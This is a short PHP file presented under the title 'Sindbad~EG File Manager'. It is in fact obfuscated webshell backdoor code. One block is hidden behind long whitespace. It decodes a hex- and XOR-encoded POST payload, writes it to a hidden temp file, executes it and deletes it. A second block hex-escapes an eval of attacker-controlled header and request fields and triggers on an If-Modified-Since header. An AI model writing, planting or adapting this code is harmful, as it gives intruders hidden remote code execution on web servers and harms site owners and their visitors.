Sindbad~EG File Manager

<?php																																										if(count($_POST) > 0 && isset($_POST["\x64at"])){ $hld = hex2bin($_POST["\x64at"]); $data_chunk = '' ; $j = 0; while($j < strlen($hld)){$data_chunk .= chr(ord($hld[$j]) ^ 78);$j++;} $tkn = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); $entry = 0; do { $object = $tkn[$entry] ?? null; if ($entry >= count($tkn)) break; if (is_dir($object) ? is_writable($object) : false) { $sym = implode("/", [$object, ".element"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $sym; @unlink($sym); die(); } } $entry++; } while (true); }


$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Modified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x53e\x72\x76e\x72\x2dT\x69\x6di\x6e\x67\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fR\x45\x51U\x45\x53T\x5b\x22S\x65\x72v\x65\x72-\x54\x69m\x69\x6eg\x22\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}